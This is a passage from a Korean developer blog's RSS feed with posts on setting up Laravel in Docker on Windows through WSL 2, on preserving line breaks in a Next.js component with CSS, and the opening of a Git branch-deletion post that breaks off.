&lt;p data-ke-size=&quot;size16&quot;&gt;cmd 창에서 프로젝트 생성하고싶은곳에 가서 저렇게 'example-app' 에 내가 원하는 이름 기재하고 엔터치면 프로젝트가&lt;br /&gt;생성됨과 동시에 Laravel docker image 가 생성이 되야한다.&lt;br /&gt;&lt;br /&gt;참고로 위 명령어 git bash 에서 실행하면 opt 뭐시기 에러 뜨면서 안되니까&lt;br /&gt;CMD 창에서 실행하는게 정신건강에 좋다.&lt;br /&gt;&lt;br /&gt;여튼 위 명령어 쳤을떄 처음 맞닥뜨렸던 에러는&lt;br /&gt;&lt;br /&gt;'Docker is not Running'&lt;br /&gt;&lt;br /&gt;윈도우에 이미 Docker 가 정상적으로 깔려있고 실행도 되어있는데 왜 저렇게 나오는지 이해가 안됐는데&lt;br /&gt;&lt;br /&gt;WSL 2 기반으로 작동이 되어야된다고 한다.&lt;br /&gt;&lt;br /&gt;그러면서 Docker Desktop 창의 우측 상단에 톱니바퀴 설정창에 들어가서&lt;br /&gt;&lt;br /&gt;&lt;b&gt;General - Use the USL 2 based engine 체크&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JIuO5/btsy4tVQyzg/27YV02t44LYnpWIbx7A7H1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JIuO5/btsy4tVQyzg/27YV02t44LYnpWIbx7A7H1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JIuO5/btsy4tVQyzg/27YV02t44LYnpWIbx7A7H1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJIuO5%2Fbtsy4tVQyzg%2F27YV02t44LYnpWIbx7A7H1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;142&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Resources - WSL integration&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;483&quot; data-origin-height=&quot;278&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Khny2/btsy44V0IsM/71qlcatxdiOpbzaS3hV7W1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Khny2/btsy44V0IsM/71qlcatxdiOpbzaS3hV7W1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Khny2/btsy44V0IsM/71qlcatxdiOpbzaS3hV7W1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKhny2%2Fbtsy44V0IsM%2F71qlcatxdiOpbzaS3hV7W1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;483&quot; height=&quot;278&quot; data-origin-width=&quot;483&quot; data-origin-height=&quot;278&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;위 처럼 체크를 해줘야된다고 한다.&lt;br /&gt;&lt;br /&gt;근데 난 이미 되어있는 상태였고 , 사실 난 Docker desktop latest 버전으로 새로 깔고 재부팅하고 나니까 잘됐음..&lt;br /&gt;&lt;br /&gt;여튼 그렇게 문제가 해결된듯 해보였으나 2차문제 발생.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1586&quot; data-origin-height=&quot;791&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/da1cwA/btsy37yGbam/qRZvsFQr82stiYV5AvtkkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/da1cwA/btsy37yGbam/qRZvsFQr82stiYV5AvtkkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/da1cwA/btsy37yGbam/qRZvsFQr82stiYV5AvtkkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fda1cwA%2Fbtsy37yGbam%2FqRZvsFQr82stiYV5AvtkkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1586&quot; height=&quot;791&quot; data-origin-width=&quot;1586&quot; data-origin-height=&quot;791&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위처럼 잘 실행이 되면서 이제 아래처럼 패스워드를 입력하라고 나오는데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;63&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kNgTz/btsy8o0gGUv/k0qN5Na9rgXfgrStQUKr4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kNgTz/btsy8o0gGUv/k0qN5Na9rgXfgrStQUKr4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kNgTz/btsy8o0gGUv/k0qN5Na9rgXfgrStQUKr4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkNgTz%2Fbtsy8o0gGUv%2Fk0qN5Na9rgXfgrStQUKr4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;823&quot; height=&quot;63&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;63&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아무리 뭘 쳐도 인식을 안함&lt;br /&gt;&lt;/b&gt;미치고 환장하겠네... 근데 또 Ctrl + C 하면 설치가 취소되면서 내가 쳤었던 패스워드는 또 찍혀있음&lt;br /&gt;&lt;br /&gt;에휴 ... 하면서 찾아보는데 Windows Terminal 로 Ubuntu 환경에서 실행시켜서 하면 잘된다길래 wt 를 설치하려했는데 잘안됐다 자꾸 Microsoft Store 에서 설치하는데도 &lt;br /&gt;문제 생기고 그래서 Docker Desktop 설치하면서 같이 깔렸던 wsl 로 실행해서 라라벨 설치 명령어 기재하고나니까 password 정상적으로 입력되는것이 확인되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;99&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcT7YS/btsy8nUyVrE/EdX38ifYCiqDRrjxUQxWF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcT7YS/btsy8nUyVrE/EdX38ifYCiqDRrjxUQxWF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcT7YS/btsy8nUyVrE/EdX38ifYCiqDRrjxUQxWF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcT7YS%2Fbtsy8nUyVrE%2FEdX38ifYCiqDRrjxUQxWF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;99&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;99&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이렇게 되고나니 Docker Desktop 의 Images 에서도 잘 나오는게 확인 되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1159&quot; data-origin-height=&quot;369&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcTee2/btsy9dKWlse/FrHYqoCQXWFCadPbp4NXtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcTee2/btsy9dKWlse/FrHYqoCQXWFCadPbp4NXtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcTee2/btsy9dKWlse/FrHYqoCQXWFCadPbp4NXtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdcTee2%2Fbtsy9dKWlse%2FFrHYqoCQXWFCadPbp4NXtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1159&quot; height=&quot;369&quot; data-origin-width=&quot;1159&quot; data-origin-height=&quot;369&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;윈도우 환경인데 wsl 에서 내가 원하는 경로로 어떻게 접근하냐 라고 생각 될 수도 있는데 wsl 이 정상적으로 깔려있다면&lt;br /&gt;내가 원하는 디렉토리에 가서 파워쉘 열듯이 shift 누르고 우클릭하면 아래처럼 친절하게 잘 뜬다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;412&quot; data-origin-height=&quot;70&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OEpm8/btsy5ghCBEs/KweiTvI99kSfUGkF1wl7I1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OEpm8/btsy5ghCBEs/KweiTvI99kSfUGkF1wl7I1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OEpm8/btsy5ghCBEs/KweiTvI99kSfUGkF1wl7I1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOEpm8%2Fbtsy5ghCBEs%2FKweiTvI99kSfUGkF1wl7I1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;412&quot; height=&quot;70&quot; data-origin-width=&quot;412&quot; data-origin-height=&quot;70&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러고나서 curl laravel ... 쭈룩 치면 비밀번호도 잘쳐진다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 관련해서 도움이 된건지 안된건지 잘 모르겠는 명령어 첨부&lt;br /&gt;사실 이것저것 다 시도를 해봐서 뭘해서 잘된건지 잘 모르겠다&lt;/p&gt;
&lt;pre id=&quot;code_1698149733447&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;wsl.exe -l -v

wsl --install -d Ubuntu

wsl.exe --set-version Ubuntu 2&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에 라라벨 프로젝트가 정상적으로 생성이 안됐을 당시에 위 명령어를 쳤을때 요런식으로 나왔었는데&lt;br /&gt;'docker-desktop'&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buWs6c/btsy376wYKE/ka8B6mjc3KIC98NDr3jAJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buWs6c/btsy376wYKE/ka8B6mjc3KIC98NDr3jAJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buWs6c/btsy376wYKE/ka8B6mjc3KIC98NDr3jAJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuWs6c%2Fbtsy376wYKE%2Fka8B6mjc3KIC98NDr3jAJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;95&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금은 아래처럼 Ubuntu 에 포커싱이 된 채로 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;402&quot; data-origin-height=&quot;93&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LBucM/btsy9NZyDNG/HhuKLCyNg3uVGlJZOPxin0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LBucM/btsy9NZyDNG/HhuKLCyNg3uVGlJZOPxin0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LBucM/btsy9NZyDNG/HhuKLCyNg3uVGlJZOPxin0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLBucM%2Fbtsy9NZyDNG%2FHhuKLCyNg3uVGlJZOPxin0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;402&quot; height=&quot;93&quot; data-origin-width=&quot;402&quot; data-origin-height=&quot;93&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;docker-desktop 에 포커싱이 되어있어야 정상아닌가 싶은데&lt;br /&gt;해당 부분은 일단 써보고 문제 생기면 포스팅 수정하러 다시 오려고 한다 ..&lt;/p&gt;</description>
      <category>IT/Docker</category>
      <category>php8.2 라라벨</category>
      <category>윈도우 10 php 라라벨</category>
      <category>윈도우10 도커 라라벨</category>
      <category>윈도우10 라라벨</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/205</guid>
      <comments>https://bug41.tistory.com/entry/Docker-PHP-Laravel-9x-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0-featwindow-10#entry205comment</comments>
      <pubDate>Tue, 24 Oct 2023 21:19:41 +0900</pubDate>
    </item>
    <item>
      <title>[Next.js] 렌더링 된 화면에서 줄바꿈이 되지않을때 ~!</title>
      <link>https://bug41.tistory.com/entry/Nextjs-%EB%A0%8C%EB%8D%94%EB%A7%81-%EB%90%9C-%ED%99%94%EB%A9%B4%EC%97%90%EC%84%9C-%EC%A4%84%EB%B0%94%EA%BF%88%EC%9D%B4-%EB%90%98%EC%A7%80%EC%95%8A%EC%9D%84%EB%95%8C</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;HTML5, CSS 단이었다면 되게 간단히 생각했을법도 한데 괜히 Next.js 가 엮여있어서 생각이 안났다는 핑계를 대본다 ..&lt;br /&gt;여튼 포트폴리오를 만들고 있는데 굳이 DB 까지 연동할 필요는 없을것 같아서 그냥 component 각 폴더에 ___data.tsx 형식으로 데이터를 다 넣어줘서 불러오는 식으로 꾸며주고있다.&lt;/p&gt;
&lt;pre id=&quot;code_1697635641116&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#/component/Project/projectData.tsx

import { Project } from &quot;@/types/project&quot;;

const projectData: Project[] = [
  {
    id: 1,
    title: &quot;뱀팔이&quot;,
    paragraph: `국내 희귀애완동물 샵 및 병원을 한곳에서 볼 수 있는 뱀팔이
    웹 사이트 제작 한칸띄어쓰기를 어떻게 넣을수 있을까?
    왜 안될까?
    `,
    image: &quot;/images/project/baam82.png&quot;,
    link: &quot;https://baam82.kr/&quot;,
    type: &quot;개인&quot;,
    publishDate: &quot;2018.12 ~ 2019.01&quot;,
    stack: [&quot;PHP&quot;,&quot;HTML5&quot;,&quot;CSS3&quot;,&quot;jQuery&quot;,&quot;javascript&quot;,&quot;MySql&quot;,&quot;Jenkins&quot;,&quot;Github&quot;,&quot;AWS&quot;]   
  },
  ..
  
  생략
];
export default projectData;&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1697635559152&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#/types/project.ts

export type Project = {
  id: number;
  title: string;
  paragraph : string;
  image: string;
  link: string;
  type: string;  
  publishDate: string;
  stack: string[];
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;paragraph 에 백틱으로 선언한것은 따옴표나 홀따옴표로 그냥 넣으면 줄바꿈 했을때 에러가 나기 때문에 백틱으로 감쌌다.여튼 저건 중요한게 아니고 내가 원하는건 정말 간단했다.&lt;br /&gt;&lt;br /&gt;저기 넣은 내용대로 렌더링 됐을때 줄바꿈까지 출력되면 되는것&lt;/p&gt;
&lt;pre id=&quot;code_1697635870864&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# /component/Project/SingleProject.tsx
'use client'
import { Project } from &quot;@/types/project&quot;;

const SingleProject = ({ project }: { project: Project }) =&amp;gt; {

	const { id,title,paragraph,image,link,type,publishDate } = project;  
	
	... 생략
	
    console.log(project.paragraph);
    return (
    	&amp;lt;&amp;gt;
			... 생략
        	&amp;lt;div&amp;gt;
            	{project.paragraph}
            &amp;lt;/div&amp;gt;
        	... 생략
        &amp;lt;/&amp;gt;
    ) 
};

export default SingleProject;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행해보면 아래처럼 렌더링 화면에서는 줄바꿈이 정상적으로 되지않지만 , 콘솔창에선 잘만되는것을 확인 할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;693&quot; data-origin-height=&quot;293&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/co4mNR/btsyNrP8VMn/uR3B7tVPoVdaPyjFKBnTzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/co4mNR/btsyNrP8VMn/uR3B7tVPoVdaPyjFKBnTzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/co4mNR/btsyNrP8VMn/uR3B7tVPoVdaPyjFKBnTzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fco4mNR%2FbtsyNrP8VMn%2FuR3B7tVPoVdaPyjFKBnTzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;693&quot; height=&quot;293&quot; data-origin-width=&quot;693&quot; data-origin-height=&quot;293&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째 시도&lt;/p&gt;
&lt;pre id=&quot;code_1697636028739&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;
//paragraph 에 값이 있으면 불러와서 \n 으로 들어가있는거 br 태그로 치환해줌
const formattedParagraph = project.paragraph ? project.paragraph.replace(/\n/g, '&amp;lt;br/&amp;gt;') : '';


//출력할때 아래와 같이 기입
&amp;lt;p dangerouslySetInnerHTML={{ __html: formattedParagraph }} /&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 뭐랄까 .. 잘되긴 하는데 너무 헤비했다&amp;nbsp;&lt;br /&gt;아무리 리액트를 모르는 초짜인 내가봐도 이건 좀 .. 싶은 느낌이랄까&lt;br /&gt;굳이 &lt;b&gt;댕져러쓰 &lt;/b&gt;가 들어가있는 태그를 써야하나..&lt;br /&gt;보통 외부 HTML 콘텐츠 표시 할때 쓰인다길래 내가 원하는 방식이 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;두번째 시도&lt;br /&gt;왜 이걸 생각 못했을까 싶은데 역시나 옛것이 최고인것인가 ..&lt;/p&gt;
&lt;pre id=&quot;code_1697640109061&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# /styles/index.css 내용 추가

@layer base {
  body {
    font-family: &quot;Inter&quot;, sans-serif;
  }

  .preserve-whitespace {
    white-space: pre-line;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;568&quot; data-origin-height=&quot;109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qQE9V/btsyMzgCDQV/tMKtqCermWsbVdjlqopEAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qQE9V/btsyMzgCDQV/tMKtqCermWsbVdjlqopEAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qQE9V/btsyMzgCDQV/tMKtqCermWsbVdjlqopEAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqQE9V%2FbtsyMzgCDQV%2FtMKtqCermWsbVdjlqopEAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;568&quot; height=&quot;109&quot; data-origin-width=&quot;568&quot; data-origin-height=&quot;109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위처럼 css 로 조정해주니 아래처럼 잘 나오는것을 확인 할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;495&quot; data-origin-height=&quot;217&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MF4Td/btsyJwLXjFJ/4n5UIA53sQB1UlWfg2f9k1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MF4Td/btsyJwLXjFJ/4n5UIA53sQB1UlWfg2f9k1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MF4Td/btsyJwLXjFJ/4n5UIA53sQB1UlWfg2f9k1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMF4Td%2FbtsyJwLXjFJ%2F4n5UIA53sQB1UlWfg2f9k1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;495&quot; height=&quot;217&quot; data-origin-width=&quot;495&quot; data-origin-height=&quot;217&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;까먹지않기 위해 작성하는 포스팅 ~!&lt;/p&gt;</description>
      <category>IT/React.js</category>
      <category>Next.js</category>
      <category>NextJS</category>
      <category>react.js</category>
      <category>reactjs</category>
      <category>whiteSpace</category>
      <category>렌더링 줄바꿈</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/204</guid>
      <comments>https://bug41.tistory.com/entry/Nextjs-%EB%A0%8C%EB%8D%94%EB%A7%81-%EB%90%9C-%ED%99%94%EB%A9%B4%EC%97%90%EC%84%9C-%EC%A4%84%EB%B0%94%EA%BF%88%EC%9D%B4-%EB%90%98%EC%A7%80%EC%95%8A%EC%9D%84%EB%95%8C#entry204comment</comments>
      <pubDate>Wed, 18 Oct 2023 23:43:46 +0900</pubDate>
    </item>
    <item>
      <title>Git 원격 저장소 branch 다중 삭제 명령어 정리</title>
      <link>https://bug41.tistory.com/entry/Git-%EC%9B%90%EA%B2%A9-%EC%A0%80%EC%9E%A5%EC%86%8C-branch-%EB%8B%A4%EC%A4%91-%EC%82%AD%EC%A0%9C-%EB%AA%85%EB%A0%B9%EC%96%B4-%EC%A0%95%EB%A6%AC</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;git 로컬 저장소에서 git bash 와 같은 커맨드 창 키고 ~&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;git 원격 origin 저장소 branch list 확인&lt;/p&gt;
&lt;pre id=&quot;code_1695258458174&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git ls-remote --heads origin&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;결과값 예시&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;471&quot; data-origin-height=&quot;146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p4vxp/btsuJamm4kX/R2PukNCvGtDki1dKnFrPMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p4vxp/btsuJamm4kX/R2PukNCvGtDki1dKnFrPMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p4vxp/btsuJamm4kX/R2PukNCvGtDki1dKnFrPMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp4vxp%2FbtsuJamm4kX%2FR2PukNCvGtDki1dKnFrPMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;471&quot; height=&quot;146&quot; data-origin-width=&quot;471&quot; data-origin-height=&quot;146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;다중 브랜치 삭제 명령어 &lt;/p&gt;
